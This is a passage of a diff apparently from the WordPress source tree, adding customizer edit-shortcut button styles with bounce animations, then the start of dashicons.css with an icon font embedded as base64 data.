+.wp-custom-header .customize-partial-edit-shortcut button {
+	left: 2px
+}
+
+.customize-partial-edit-shortcut button svg {
+	fill: #fff;
+	min-width: 20px;
+	min-height: 20px;
+	width: 20px;
+	height: 20px;
+	margin: auto;
+}
+
+.customize-partial-edit-shortcut button:hover {
+	background: #008ec2 !important; /* matches primary buttons */
+}
+
+.customize-partial-edit-shortcut button:focus {
+	box-shadow: 0 0 0 2px #008ec2;
+}
+
+body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button {
+	animation-name: customize-partial-edit-shortcut-bounce-appear;
+	pointer-events: auto;
+}
+body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button {
+	animation-name: customize-partial-edit-shortcut-bounce-disappear;
+	pointer-events: none;
+}
+
+.page-sidebar-collapsed .customize-partial-edit-shortcut button,
+.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button {
+	visibility: hidden;
+}
+
+@keyframes customize-partial-edit-shortcut-bounce-appear {
+	from, 20%, 40%, 60%, 80%, to {
+		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
+	}
+	0% {
+		opacity: 0;
+		transform: scale3d(.3, .3, .3);
+	}
+	20% {
+		transform: scale3d(1.1, 1.1, 1.1);
+	}
+	40% {
+		transform: scale3d(.9, .9, .9);
+	}
+	60% {
+		opacity: 1;
+		transform: scale3d(1.03, 1.03, 1.03);
+	}
+	80% {
+		transform: scale3d(.97, .97, .97);
+	}
+	to {
+		opacity: 1;
+		transform: scale3d(1, 1, 1);
+	}
+}
+
+@keyframes customize-partial-edit-shortcut-bounce-disappear {
+	from, 20%, 40%, 60%, 80%, to {
+		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
+	}
+	0% {
+		opacity: 1;
+		transform: scale3d(1, 1, 1);
+	}
+	20% {
+		transform: scale3d(.97, .97, .97);
+	}
+	40% {
+		opacity: 1;
+		transform: scale3d(1.03, 1.03, 1.03);
+	}
+	60% {
+		transform: scale3d(.9, .9, .9);
+	}
+	80% {
+		transform: scale3d(1.1, 1.1, 1.1);
+	}
+	to {
+		opacity: 0;
+		transform: scale3d(.3, .3, .3);
+	}
+}
+
+@media screen and (max-width:800px) {
+	.widget .customize-partial-edit-shortcut button,
+	.customize-partial-edit-shortcut button {
+		left: -32px;
+	}
+}
+
+@media screen and (max-width:320px) {
+	.widget .customize-partial-edit-shortcut button,
+	.customize-partial-edit-shortcut button {
+		left: -30px;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/css/dashicons.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/dashicons.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/dashicons.css	(revision 56912)
@@ -0,0 +1,1026 @@
+@font-face {
+	font-family: dashicons;
+	src: url(../fonts/dashicons.eot);
+}
+
+@font-face {
+	font-family: dashicons;
+    src: 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